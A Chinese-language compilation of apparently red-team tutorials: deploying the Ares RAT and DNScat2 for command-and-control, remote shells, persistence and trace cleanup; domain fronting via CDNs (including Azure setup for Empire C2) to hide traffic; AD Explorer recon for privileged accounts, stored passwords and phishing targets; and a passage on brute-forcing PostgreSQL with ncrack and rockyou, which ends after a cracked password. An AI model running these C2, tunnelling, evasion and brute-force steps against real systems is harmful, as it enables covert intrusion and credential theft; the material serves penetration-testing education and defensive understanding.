这篇文章,我们将来学习Ares这款工具。这款工具可以通过web界面进行C&C控制。该工具在GitHub可以下载,地址在这里

介绍

Ares是一款Python编写的远程访问工具。Ares由两部分主要程序组成:C&C服务器和客户端,C&C服务器是管理客户端代理的web界面,客户端需要运行在被入侵的主机上,并且确保能够与C&C服务器通信。

下面进行实战演示

· 攻击机:kali Linux

· 靶机:Windows10

安装

首先,我们需要在攻击机中安装此工具。我们可以使用git命令,直接在GitHub中将工具下载到本机。下载好后,我们使用cd命令切换到该目录下,如下图所示:

git clone //github.com/sweetsoftware/Ares.git
cd Ares
ls

1.png

要想让此工具正常运行,我们还需要安装一些依赖和库。可以看到在此工具目录下有一个requirement.txt文件,这个文件包含了我们需要安装的Python库。使用pip命令来安装:

pip install -r requirements.txt

2.png

 

因为我们的靶机是Windows主机,所以我们需要编译客户端来兼容Windows主机。要进行编译的话,我们还需要wine这个工具,不用担心,这个工具在我们下载Ares时已经提供了,现在我们来安装一下,可能会需要一点时间

ls
./wine_setup.sh

3.png

攻击目标

现在我们已经成功地安装好了运行Ares工具所需的所有依赖和库。接下来我们就可以利用该工具来获得C&C会话了。我们需要一个客户端,使用cd命令切换到客户端目录下,然后ls一下查看目录中的文件,可以看到有一个config文件,我们需要编辑这个文件来获取会话

cd agent/
ls
nano config.py

4.png

 

当我们使用nano命令打开配置文件时,可以看到SERVER变量是一个IP地址,这个地址是需要修改的。这里我们把它修改成攻击机的内网IP地址,在这个演示中,攻击机的内网IP地址是192.168.1.4。其他地方不需要再修改了,保存文件即可。

5.png

现在,我们已经对配置文件进行了修改,接下来就是创建客户端了。因为靶机是Windows,所以我们需要创建一个Windows客户端,使用下面的命令来创建:

./builder.py -p Windows –server //192.168.1.4:8080 -o agent.exe

6.png

接着,我们需要把这个客户端发送到靶机中,不管用什么方法都行。发送成功之后,我们需要启动服务器,因为客户端需要与服务器进行通信。启动服务器后,我们回到Ares目录,会发现多了一个server子目录。我们进入到该子目录,接着我们需要开启数据库,这里我们要用到initdb参数,只有在第一次使用时才需要开启数据库。现在,我们可以运行服务器了。

命令如下

ls
cd server/
./ares.py initdb
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

7.png

接着,我们在浏览器中访问我们的服务器IP地址。我们可以看到一个表单,要求我们设置密码,如下图,我们开始设置自己的密码,然后点击Define进行确认。

8.png

OK,密码已经创建好了,我们需要输入密码来登录,如图:

9.png

登录成功之后,我们可以看到Ares GUI界面。该页面中有以下几个链接:修改密码,断开连接,和客户端列表。现在客户端列表是空的,我们需要在靶机中执行了客户端之后,这个客户端列表才会有内容,如图:

10.png

在靶机中执行客户端后,我们在下图中可以看到,有一个客户端上线了。我们可以看到客户端的名称,状态和登录的用户名,还有主机名。我们还能清楚的看到靶机的IP地址和操作系统。当然,我们可以在多个设备中运行客户端,然后在客户端列表中都能一一显示出来。我们可以从多个客户端会话中选择某些会话,然后同时对多个会话执行相同的命令。选择会话名称继续:

11.png

命令执行

因为Ares执行的是powershell的命令,所以这里我们执行一个查看系统信息的命令,也及时systeminfo。执行完之后,我们就可以看到靶机所有的系统配置信息,如下图:

systeminfo

12.png

捕获截图

接着我们来捕获一张靶机的截图。我们需要输入screenshot命令,然后客户端会捕获一张截图,并以链接的形式提供,如下图,打开链接就能看到捕获的截图了

screenshot

13.png

文件下载

我们也可以使用这个客户端从远程靶机上下载文件。当然,要下载文件我们需要知道文件名。我们可以通过dir列目录命令来获取文件名。现在我们知道了文件名,我们就可以下载文件到攻击者的本地机器上了,如下图所示:

download file.txt

14.png

压缩文件

我们还可以利用这个Ares客户端在远程靶机上压缩一个目录。同样,我们需要知道目录名。知道目录名之后,我们就可以使用下面的命令来远程压缩整个目录。这里,我们可以看到有一个sample目录,我们来把它压缩成compressed.zip压缩包,如下图:

zip compressed.zip sample

15.png

持久代理

我们可以在这个客户端中调用持久代理,使用persist命令即可。这条命令会在远程靶机中安装代理,如下图:

persist

16.png

 

迹清理

会话结束,完成我们的目的之后,这个工具还能够进行痕迹清理。下面这条命令将从远程靶机上移除这个代理工具,这样就很难检测到,如下图:

clean

17.png

介绍DNS

域名系统将URL和IP地址关联起来。有了DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

当你在浏览器中输入域名访问网站时,它首先会向DNS服务器发送请求来查找域名对应的IP地址。找到IP地址之后,就会通过IP定位到对应的服务器然后获取网站的内容。令人惊讶的是,这整个过程仅仅只需要几毫秒。DNS默认是运行在53端口上。

介绍DNScat

DNScat堪称神器,因为它可以通过DNS协议创建C&C隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个shell。这个工具也是基于53端口的,所以你不需要对DNS服务器进行权威访问,只要通过53端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

DNScat有服务端和客户端两个组件。要理解DNScat的工作原理,需要先了解这两个组件。

客户端是要安装在目标机器中并且保持着运行状态。它是用C语言编写的,满足最少的基本条件就可以运行。当你运行客户端时,你需要指定一个域名。因为所有数据包都会发送到本地DNS服务器上,然后会发送到合法的DNS服务器来查询域名(显然,这个域名是你可以控制的)。

服务端要在一个通用的DNS服务器上运行。它是基于ruby开发的,并且依赖于一些独特的gems。当你运行这个服务端时,跟客户端类似,你需要指定它通过53端口监听哪些域名。当它接收到其中一个域名的流量时,它就会尝试着去建立一个合法的连接。如果接收到其他流量,它也会自动忽略不管,当然,你也可以在上游进行转发。

安装

运行下面这条git命令来下载DNScat2:

git clone //github.com/iagox86/dnscat2.git

1.png

接下来安装bundler,因为它是DNScat2的一个主要依赖环境。要安装这个依赖,先进入到DNScat2的服务端目录,然后执行下面两条命令:

gem install bundler
bundle install

2.png

安装完依赖环境之后,执行下面这条命令来启动服务端:

ruby dnscat2.rb

3.png

同样地,在客户端主机上下载DNScat2,然后用make命令来编译,如下图:

4.png

要让客户端和服务端通信,执行下面这条命令即可:

./dnscat2 --dns-server=192.168.174.131,port=53

5.png

一旦连接建立起来之后,你可以在服务端看到存在一个会话,如下图。你可以用”sessions”命令来查看已经创建的会话。

6.png

要进入刚才建立的session并与其交互,执行下面这条命令:

session -i 1

现在你已经进入该session了,你可以使用”ping”命令来ping目标,如果收到回复”pong”,那么你的ping命令就执行成功了。

7.png

下图是客户端ping命令的响应:

8.png

此外,可以输入help命令来查看我们可以执行的所有命令和选项。如果你想进入shell,只要输入”shell”命令即可,它就会开启一个新的窗口,进入到目标系统的shell中。

9.png

与新的终端中打开的shell会话中进行交互,输入下面这两条命令:

windows
session -i 2

10.png

当你进入session之后,你可以执行任意的shell命令,比如”uname -a”,如上图所示。

DNS隧道技术

DNScat2最好的一种攻击方式就是DNS隧道技术。如果在你的目标系统中执行ifconfig命令,有两个网络的话,如下图所示,那么执行DNS隧道技术就非常容易了。

11.png

建立DNS隧道转发,先执行以下命令:

listen 127.0.0.1:888 10.0.0.10:22

12.png

然后你就可以通过888端口来进行SSH连接了,命令如下:

ssh [email protected] -p 888

连接成功之后,你就可以使用’ifconfig’命令来查看你刚才进行隧道转发的网络,如下图所示:

13.png

由于你已经SSH连接到了第二个网络中,你也可以在这个网络中下载DNScat2,以便进行攻击。当你在这个网络中下载好了DNScat2,输入下面这条命令来执行,然后在你的DNScat2服务端去查看会话:

dnscat2.exe --dns+server+192.168.174.131,port+53

14.png

执行成功之后,你会获得一个新的会话,你可以通过sessions来查看会话,并且输入会话id来进入某个会话:

sessions
session -i 2

进入会话之后,你就可以执行任意命令了。

15.png

而且你还能够执行systeminfo命令,这会显示第二个系统的详细信息,也就是你通过隧道技术拿到权限的系统。

16.png

总结

即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat也正是利用了这一点才成为了一个非常不错的攻击工具。

域前置技术已经出现有几年了,我一直都理解这个概念,但是从未真正理解它的工作原理。直到最近,我跟Chris Truncer一起搞了个项目,他让我们设置域名前置,作为红队测试的一部分。也就是这时,我才不得不开始去认真琢磨和理解这个技术的内部共工作原理。幸运的是,Chris是一个非常不错的老师,它讲这个技术非常透彻,当我们一步一步去分析域前置的内部原理时,这个概念其实也非常简单。

在开始解释域名前置之前,我们先来回顾一下我们是如何获取网页的。

首先是网络请求

· 用户在浏览器里输入一个包含主机名的URL

· 操作系统在对主机名进行DNS查询

· 查到IP后,在两台主机之间建立TCP连接

现在有一个网络连接,应用程序启动并发送HTTP请求。在HTTP/1.0中,web服务器只能为每个IP地址提供一个web网站,因为它无法得知请求该网站的主机名。在HTTP/1.1中,引入了“host”头的概念,这让服务器能够基于提供主机名部署多个虚拟主机,也就是“命名虚拟主机”。服务器会根据已知的虚拟主机列表来检查所请求的主机名,然后选择正确的来提供服务。如果服务器不知道所请求的主机名,则使用默认站点来提供服务。

最基本的HTTP/1.1请求如下:

GET / HTTP/1.1
Host: digi.ninja

在浏览器发起的正常请求中,URL中的主机名应该与主机头中的主机名相匹配,但是也不一定是这样,因为没有任何措施来强制执行该链接。我们可以用curl来做一个演示,下面的这个请求将会与bing.com建立网络连接,但是通过主机头,最终会请求google这个网站。因为Bing并没有一个叫做google.com的虚拟主机,因此我们会得到一个报错:

$ curl -H "Host: google.com" bing.com
<h2>Our services aren't available right now</h2><p>We're working to restore all services as soon as possible. Please check back soon.</p>06XZVXAAAAAD6lfm8665lRL+M0r8EuYmDTFRTRURHRTA1MTMARWRnZQ==

我们再来尝试通过英国Google域名来请求澳大利亚Google网站:

$ curl -H "host: www.google.com.au" www.google.co.uk
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>...

这个请求成功了,因为UK Google服务器知道所有不同的虚拟主机,所以能够正确的转发请求并返回正确的内容。

现在我们已经了解了基础知识,我们来看看它是如何应用于域名前置的。

 

当我们在CDN(例如Amazon Cloudfront,Cloudflare,Microsoft Azure CDN或者是Google cloud CDN)上设置站点时,需要设置一个域名的CNAME记录来指向CDN服务器,并且有一个类似于“命令虚拟主机”需要在CDN web服务器上设置,这样它才能响应请求。该设置会提供一个“原始服务器”,会与入站的域进行配对,所以它才知道去哪里获取实际的内容并提供服务。

上面我们已经演示过,用来进行网络连接的主机名不一定要与所请求的网站相匹配,所以我们可以为部署在CDN上的一个站点使用主机名,但是在主机头中指向不同的站点。

那证书问题怎么办,使用不匹配的主机名和主机头不会出什么问题吗,不会造成证书警告或者泄露信息吗?当然不会。回到文章开头,设置的第一件事就是网络连接,这里就开始用到TLS了。一旦TCP连接成功建立,TLS就开始协商,并且全都是基于发起连接的主机名,主机头在应用层的流量中,并且在所有低层连接建立之前不会查看。我们可以继续使用Bing和Google的例子来演示,通过HTTPS来发起请求,同时使用curl来请求连接中的更多信息,如下:

$ curl -v -H "Host: google.com" https://bing.com
* Rebuilt URL to: https://bing.com/
*   Trying 13.107.21.200...
* TCP_NODELAY set
* Connected to bing.com (13.107.21.200) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
  * TLSv1.2 (OUT), TLS handshake, Client hello (1):
  * TLSv1.2 (IN), TLS handshake, Server hello (2):
  * TLSv1.2 (IN), TLS handshake, Certificate (11):
  * TLSv1.2 (IN), TLS handshake, Server key exchange (12):
  * TLSv1.2 (IN), TLS handshake, Server finished (14):
  * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
  * TLSv1.2 (OUT), TLS change cipher, Client hello (1):
  * TLSv1.2 (OUT), TLS handshake, Finished (20):
  * TLSv1.2 (IN), TLS handshake, Finished (20):
  * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
  * ALPN, server accepted to use h2
  * Server certificate:
  *  subject: CN=www.bing.com
  *  start date: Jul 20 17:47:08 2017 GMT
  *  expire date: Jul 10 17:47:08 2019 GMT
  *  subjectAltName: host "bing.com" matched cert's "bing.com"
  *  issuer: C=US; ST=Washington; L=Redmond; O=Microsoft Corporation; OU=Microsoft IT; CN=Microsoft IT TLS CA 5
  *  SSL certificate verify ok.
  * Using HTTP2, server supports multi-use
  * Connection state changed (HTTP/2 confirmed)
  * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
  * Using Stream ID: 1 (easy handle 0x559a18d7f900)
  > GET / HTTP/2
  > Host: google.com
  > User-Agent: curl/7.58.0
  > Accept: */*
  >
  * Connection state changed (MAX_CONCURRENT_STREAMS updated)!
  < HTTP/2 400
  < x-msedge-ref: 0OPdbXAAAAACPvltTXmg8T6Ynwb1og0T8TE9OMDRFREdFMDQyMABFZGdl
  < date: Thu, 07 Feb 2019 09:15:35 GMT
  <
  * Connection #0 to host bing.com left intact
  <h2>Our services aren't available right now</h2><p>We're working to restore all services as soon as possible. Please check back soon.</p>0OPdbXAAAAACPvltTXmg8T6Ynwb1og0T8TE9OMDRFREdFMDQyMABFZGdl

请求之后,会有很多的输出结果,但最重要的两行如下:

subject: CN=www.bing.com
subjectAltName: host "bing.com" matched cert's "bing.com"

这表明正在使用Bing的证书协商TLS连接,没有警告,因为证书有效,并且在HTTP请求中发送主机头之前也没有涉及到Google。

我跟Chris遇到的情况是这样的,我们使用前置技术来获取某公司基于HTTPS的CC通信,该公司使用了web过滤器来判断主机头,这个主机头是用来发起请求的。他们没有进行SSL剥离,这一点十分重要,因为这样可以让他们了解HTTP流量并且让他们也可以根据主机头来进行判断。我们选择了一家托管在Cloudfront的公司,该公司名声还不错,我们希望可以通过他们的过滤器。我们在Cloudfront上设置好我们的C2站点,将它的源指向我们的真实服务器。自定义的beacon软件使用正常的主机名来进行网络连接,在主机头中使用恶意的主机名。对于公司的过滤器来说,我们是在与一个正常的,值得信任的网站通信,但是CDN看到并响应了C2站点的请求,这些请求将所有流量直接转发到我们的服务器中。

在这个例子中,我们讲到了如何隐藏C2流量,不过这个技术也可以用来绕过审核过滤器和其他类似的情况。绕过审核的方法跟上面的例子相同,除了有一点,就是要查看的站点,前置了一个可信任站点和自定应浏览器插件,或者是本地网络代理,是否替换了主机头为正确的值。

如果你管理着一个域名并且通过CDN提供服务,你可能会想,我应该怎么做来防止我的好名声被滥用?依我看,啥也做不了。因为HTTP工作方式本身是存在漏洞的,网络连接和应用程序流量之间断开连接也是存在问题的。当你将你的站点托管在与其他站点共享的平台时,一旦建立了网络连接,所有其他站点都是可以访问的。甚至没有任何日志,你可以用来进行检查,因为当CDN见到主机头时,所有的流量就都转发到恶意的站点去了,所有的日志也同样在它的账户中。你唯一能做的是查看DNS日志并且尝试统计网站流量和请求,如果你看到有很多请求,但是却没有多少流量,那么这肯定不正常。

如果你想自己设置云端前置域名,你可以参考我的一篇文章Cloudfront域名前置–有效案例

相关文章:

Cloudfront域名前置

Cloudflare域名前置

如何利用AD Explorer进行渗透测试?

Mark Russinovich(微软Azure的CTO)的sysinternals工具集虽然没有更新或者添加新的工具,但却非常经典,多年来一直是系统管理员最喜欢的工具。但是鲜为人知的是,这个工具集对于渗透测试员也是非常有帮助的。其中我最喜欢的一款工具是AD Explorer。我的同事Dave Fletcher是一个大牛,获得了很多头衔,其中之一就是优秀的系统管理员,在一次实战中,他提醒了我这个工具,自此,我就一直使用它进行内网评估和渗透。当然,对于那些将域控暴露在互联网中的机构来说,利用这个工具进行外部测试也是非常有用的。

你只要一个域账户,能够与域控通信,并请求域控遍历整个域。它将会显示OU结构,用户账户和计算机账户。这能够对我们寻找脆弱目标提供帮助,比如查找特权用户或者是数据库服务器。

所有的sysinternals工具集都是独立的可执行软件,无需安装。所以,只要你有写权限,就可以直接运行。sysinternals下载地址:http://live.sysinternals.com。

1.jpg

但要是你没有写权限呢,或者是不允许下载可执行文件呢?不用担心,你可以直接在运行框(win+r)或者在文件夹资源管理器中输入下面这个UNC路径即可,不用下载到本地磁盘就可以直接运行。

UNC路径:\\live.sysinternals.com\tools\ADExplorer.exe

2.jpg

点击可执行文件,直接从微软的站点加载到内存中。

现在我们来看几个例子,见识一下这款工具有多厉害。首先,你可能会找到一些元数据,这些数据会给你一些关于某对象的信息,如下图,似乎我们找到了CIO的个人电脑。我虽然对你毫无了解,但是如果我看到名为‘CIO的电脑’这台主机,我就忍不住想要找一个办法登录上去,然后从内存中抓取凭证。这通常都是一个特权账户。

3.jpg

可能还有其他属性包含有用的信息,比如”info”属性。在下面的例子中,我们展示了在实战测试中的AD记录。数据已经打码,这足以说明数据是非常敏感的。我们还可以利用这些信息去进行社工(想着要重置密码)。

4.jpg

如果你想找到更有价值的目标服务器,你可以去了解企业的命名规范,会对你很有帮助。服务器通常都是根据他们的功能来命名,比如名字中的”SQL”和”SharePoint”字眼,如图:

5.jpg

AD Explorer的搜索功能也非常强大,它能够帮你分析大量的数据,并找到你想要的数据。例如,如果你想要查找禁用账户,只要选择userAccountControl(用户账户控制)属性,然后搜索514即可。(其实userAccountControl是一个值,不同的值代表着不同的标记,其中一个就是禁用标记,不过可能会有多个值都表示禁用账户,但是最常见的就是514)

6.jpg

如果你的权限够高的话,你可以添加和修改对象和属性。虽然不能像活动目录用户和计算机用户一样进行操作,但是对于渗透测试员来说,这个功能还是非常不错的。作为演示,我在我的测试域中给Grace用户添加“comment”属性。

7.jpg

8.jpg

这个工具还有一个选项,让你可以截取屏幕截图:

9.jpg

你可以将它复制到任何地方,然后在AD Explorer中打开,方便浏览查看。

10.jpg

查看截图虽然不会对你的渗透有大的帮助,但是对于前期侦察也是可以的。

AD Explorer还能对两个截图进行差异化对比。这对于渗透测试员有什么用呢?

首先,你可以在访问到域的时候捕获一张截图,然后在你进行了一些入侵和破解操作之后,系统管理员修改了密码或者是禁用了账户时,你可以再捕获一张截图,对比一下就可以看到是谁修改了密码,哪个账户被禁用了。据我所知,AD Explorer不能够修改密码,或者是把状态从禁用改为启用(即使是DA也不行),但至少,你可以利用这个工具来查看并避免账户被禁用,来保持一个更为隐蔽的状态。

现在,来看看关于外部测试……假如你用shodan来搜索暴露在互联网上的域控,并且登录到其中一台会怎么样?当然,如果你想用AD Explorer来连接到服务器的话,你需要一个域账户。下面的搜索语句是搜索LDAP两个常用的端口,和主机名中包含了字母“DC”的。令人惊讶的是,从互联网上能够直接访问的依然有一大片,如图:

11.jpg

或者再进一步搜索,我们可以添加445端口来查找域控,这些域控很有可能存在风险,容易遭受Shadow Brokers最新泄露的SMB exp攻击。(注意:并不是所有显示结果都开了这三个端口)

只要入侵了这些服务器中的一台,就相当于入侵了整个域。各单位注意,请确保你们企业的服务器不在这些列表中:

12.jpg

 

2018年5月添加的新技巧!!!

使用AD Explorer来协助钓鱼

如果要从外部电子邮件地址向特定组发送有针对性的网络钓鱼电子邮件,你可以查询AD以获取允许来自外部的邮件的通讯组。查看msExchRequireAuthToSendTo这个属性就能知道。当这个属性值为false时,那么任何人都可以向该组发送邮件。

13.jpg

你也可以双击搜索结果中的组,然后检查组的成员属性来获取成员列表。可以通过这种方式提取个人邮件地址,不过这样做就太琐碎了。发送给群组的功能要快的多,而且这会让收件人更加信任你的邮件。

从命令行进行截图

AD Explorer是一个GUI工具,但是GUI通常无法访问。不过你可以通过shell访问,并创建快照。上传可执行文件到你能够进行shell访问的主机上,然后执行下列命令:

adexplorer.exe -snapshot “” mysnap.dat

或者先不上传,执行下面这条命令:

\\live.sysinternals.com\tools\adexplorer.exe -snapshot “” snap.dat

可以看到一个弹框报错信息,显示的是adexplorer的正确语法:

14.jpg

查找特权账户

还有,如果你想查找特权账户,别忘了检查内置的Administrators组,这个组里包含的用户可能不一定就是域管理员,但可能有对域控FTW的本地管理员访问权限的账户。

15.jpg

查找密码

在大多数的AD结构中,有几个字段是普遍存在的。也就是UserPassword, UnixUserPassword,  unicodePwd and msSFU30Password这几个。在大量的测试中,我们惊奇的发现,这些字段有时候填充的竟然是真实的密码。这些密码有时候会转换为ASCII十进制值来进行混淆,不过这种混淆根本没什么鸟用,使用一条“man ascii”命令就能帮你搞定。

下面使我们最近截的一张图:

16.jpg

可以看到这两个字段密码一样,ASCII解码之后就是A B C D ! e f g h 1 2 3 4 5 $ 6 7 8 9 0。

好了,今天的分享就到这里,如果你知道使用AD Explorer的其他小技巧,请跟我们分享,我们会添加到文章中。

介绍

域前置技术曾经风靡一时。至今,红队人员和恶意运营商仍然在使用这种技术。最近读到了两篇文章,又重新激起了我对域前置的兴趣,一篇是digininja写的比较详细的博客,还有一篇是推特上的@rvrsh3ll大神写的文章

本篇文章没有什么新的研究和发现,因为网上有太多文章和资源详细讲解了如何对Empire和CobaltStrike设置域前置了。这里我想写一篇关于在MicroSoft Azure中使用Empire设置域前置的文章,因为目前我在网上好像还没有看到这方面详细的设置。我们将会从CDN开始讲起,这对于理解域前置技术是尤为关键的。

内容分发网络(CDNs)

CDNs只是一个全球服务器网络,它根据访问者的地理位置向访问者发送网站的内容。CDNs为全球企业提供了多项优势,如防御DDos攻击,防止流量激增,有利于做SEO优化,可靠而且实惠。

域前置介绍

从某个层面来说,域前置其实是CDNs的一个特征。它可以用来传输C&C流量到原本被出口过滤器阻止的目标源。攻击者控制的终端域名又只能在建立了加密HTTPS连接之后进行通信。但是攻击者可以修改host头,这个很简单,这样CDN就可以将看似可信网站流量转发到他们的C&C服务器了。

技术细节

当大型可信服务提供商使用包含公共HTTPS域和目标HTTPS域的共享SNI证书时,这种技术就应运而生了。当边缘服务器(如azureedge.net)接收到这种流量时,数据包将被转发到在数据包主机头中指定的原始服务器(如darthmalicious.azureedge.net)。然后,原始服务器将会直接转发流量到一个指定的域,这里我们将指向我们的Empire实例中。在红队wiki技术中,我们可以看到这个非常不错的案例,如下图:

1.png

真实场景使用案例

域名前置通常在审查严格的国家被政治活动家用来绕过审查制度。这通常都是通过社交媒体聊天APP完成的,比如Signal和WhatAPP。代理网络中也会用到域名前置技术,比如Tor浏览器。在信息安全领域中,恶意攻击者和白帽子们都会使用这种技术。AWS的CloudFront通常是域名前置的首选CDN,不过这里我们会使用Microsoft Azure。使用域名前置技术要谨慎,考虑周全,因为它有可能违反服务提供商的条款和条件。

设置Azure

在Azure CDN上进行设置非常简单直接。仅仅只是需要一点耐心就行。Azure关于CDN的文档非常详细完整,还有推特大佬@ch1gg1ns的一篇博客也给了我极大的帮助。我们首先进入Azure portal,然后通过创建新CDN配置文件和CDN终端来启动CDN服务。在左上角,选择“Create a resource”。

2.png

然后选择web,选择CDN。

3.png

现在进入到CDN配置文件面板,我们现在可以创建一个CDN资源,并为这个资源创建一个终端。

4.png

成功创建之后,我们会接收到下面这个通知。

5.png

下面的部分,大家就需要耐心点了。创建CDN和终端之后,我们需要等待差不多90分钟,这个终端才能在整个CDN中传播。我们需要更新终端的缓存设置,让我们的CDN不会像正常的CDN行为那样来缓存流量。这样我们就可以用它来作为通信通道。修改你的缓存行为和查询字符串缓存行为来绕过,这一步到这里就完成了。

6.png

在继续讲解之前,我们需要解释一些事情。

CDN终端名称将位于HTTP请求中的Empire主机头通信配置文件中。这个名称会指向我们的安装了Empire的C2服务器。你可以让这个请求更加合法。

源主机名是你的C2服务器的IP地址或者是DNS名称。它就会将CDN连接到你的资源,然后使域名生效。

在Azure域名中查找可前置的域名

当我们的CDN在传播时,我们找一个容易记住的域名隐藏起来,这个域名对于我们的CDN也是有效的。这里有一篇关于查找可前置的Azure域名非常不错的文章。不过,我的方法略有不同,使用的是@rvrsh3ll大佬的查找可前置域名的脚本。这里我们会使用watcocdn1.azureedge.net这个域名。

测试CDN

为了测试我们的CDN通信是否正确设置,我们将使用我们已经正在运行的Empire实例。不管是直接访问,还是通过我们刚才创建的CDN来访问,Empire实例的响应应该是一样的。当通过CDN访问时,我们需要将主机头设置为我们之前创建的CDN终端,具体操作如下:

[email protected]:~# curl -k https://[redacted].com
 
<--Snipped Output -->
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
<--Snipped Output -->
 
 
[email protected]:~# curl -k --header "Host: darthmalicious.azureedge.net" "https://watcocdn1.azureedge.net/"
 
<--Snipped Output -->
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
<--Snipped Output -->

设置Empire

这个也是比较简单的。我们设置监听主机为Azure前置域名(在这里是watcocdn1.azureedge.net),然后我们在默认配置文件中添加一个自定义头,指向我们的CDN终端名(比如darthmalicious.azureedge.net),监听器的配置如下所示:

7.png

然后可以开启监听。

8.png

接着我们启动Empire Stager,可以看到Azure的前置域被用作C2域了。

9.png

分析以下流量,我们看到主机头将流量重定向到了预期的域名中,如图:

10.png

强化Azure域前置

最近,@rvrsh3ll大佬在medium上发布了一篇关于强化Azure 域名前置的深度好文。接下来,我们将会介绍一些那篇文章中有关Azure CDN规则引擎的内容。

CDN设置

访问Azure CDN规则引擎官方文档,我们发现它仅仅是Azure premium的一个功能。我们创建CDN配置文件和终端名时,要考虑到这一点。创建完CDN终端后,可能需要几分钟到一个小时来完成配置和传播。

11.png

基本重定向规则创建

当你的CDN在运行时,打开配置文件页面,然后点击管理按钮:

12.png

然后选择”HTTP Large”,选择规则引擎,进入下面这个页面:

13.png

在这个页面上,我们可以创建符合我们所需规则的条件。我们将使用Request Header Regex(请求头正则)来讲解基于User-agent的重定向规则。如果User-agent与我们指定的User-agent不匹配,我们就将流量重定向到twitter中。

14.png

创建之后,我们会收到一个警告:”批准新规则最多需要4个小时”

15.png

如果一切顺利,我们的CDN规则会将任何不匹配的流量重定向到Twitter中,将匹配的流量重定向到我们的Empire实例中。

总结

这篇文章主要是总结我在深入学习域名前置的一些经验。本文讨论了绕过多种安全工具的一种技术,它也能跟其他的定位恶意流量的方法一起使用并发挥重要作用。在尝试防御这种技术时,应该考虑深度防御。比如应用白名单,或者强大的EDR解决方案。蓝队可能会考虑到的方法是解密所有的流量然后从中查找C2流量的迹象。

特别感谢Monsieur Numi帮我搞到一个Microsoft Azure账号,感谢所有域前置的研究人员。希望本篇文章能够鼓励更多的研究人员在他们攻击活动和行为中使用域前置技术。

参考:

https://www.xorrior.com/Empire-Domain-Fronting/

https://chigstuff.com/blog/metasploit-domain-fronting-with-microsoft-azure/

https://github.com/rvrsh3ll/FindFrontableDomains

https://medium.com/@rvrsh3ll/hardening-your-azure-domain-front-7423b5ab4f64

https://docs.microsoft.com/en-us/azure/cdn/cdn-rules-engine

https://docs.microsoft.com/en-us/azure/cdn/cdn-rules-engine-reference-match-conditions#request-header-regex

https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki/blob/master/README.md#domain-fronting

https://holdmybeersecurity.com/2018/06/27/how-to-red-team-domain-fronting-with-powershell-empire-and-cloudfront/

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1542139101.pdf

https://twitter.com/cyb3rops/status/1100668485770846210

PostgreSQL是一款流行的开源关系型数据库,支持多平台。很多的POSIX操作系统和Windows操作系统上都有安装这个数据库。当所有软件变得越来越复杂时,攻击面也会不断增加,所以Postgres也一样。根据系统配置,Postgres能成为红队利用的重要资源来进行系统入侵。由于postgres很常见,而且支持性良好,有很多的预安装工具,非常有利于你漏洞利用过程(参考metasploit的一些例子)。如果你想完成某件事情并且进行总结和提取要点,那么了解基础知识是非常重要的。现在我们开始学习攻击PostgreSQL数据库。

服务发现

Nmap是一款发现各种服务的扫描神器。我们也可以选择masscan或者unicornscan,还有其他的扫描器,不过一个Nmap足够了。一条简单的Nmap命令就可以进行Postgres数据库目标发现了。在这个例子中,我们的目标是单机部署的sqlserver,不过我们也可以对批量主机或者是一个网段进行扫描探测。命令如下:

$ nmap sqlserver
 
Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-11 08:42 UTC
Nmap scan report for sqlserver (172.16.65.133)
Host is up (0.0000020s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5432/tcp open  postgresql
 
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

从扫描结果可知,目标主机是存活的,并且运行着PostgreSQL服务,而且暴露在外网。

服务访问

我们可以利用很多方法来访问机密服务。如果你运气不错的话,Intelligence feed可能会显示访问权限,或者是有一个共享文件夹,里面存放着凭证,也有可能有不安全的配置信息。不过,很多时候我们都需要下功夫去研究琢磨。凭证爆破(利用用户名和密码对凭证进行有效的暴力破解)是一种必须的手段,网上有很多的暴力破解工具。我们可以利用hydra,metasploit,还有很多其他的。不过这里我们使用ncrack这款工具。

第一次,我们先尝试攻击postgres数据库的默认账户,用Rockyou破解字典。在kali linux中,Rockyou字典是系统自带的,不过不能直接使用,你需要先进行解压,字典位置/usr/share/wordlists/rockyou.txt.gz。由于我本人使用的是kali Linux,所以我们在使用之前,先对它进行解压。

$ gunzip /usr/share/wordlists/rockyou.txt.gz

接下来,我们通过ncrack这个工具,加载字典来攻击PostgreSQL服务。我们需要指定要攻击的服务(psql://),指定目标(sqlserver),指定目标用户(postgres),最后再指定爆破的字典(Rockyou.txt)。

$ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt
 
Starting Ncrack 0.5 ( http://ncrack.org ) at 2019-02-11 09:24 UTC
 
Discovered credentials for psql on 172.16.65.133 5432/tcp:
172.16.65.133 5432/tcp psql: 'postgres' 'airforce'
 
Ncrack done: 1 service scanned in 69.02 seconds.
 
Ncrack finished.

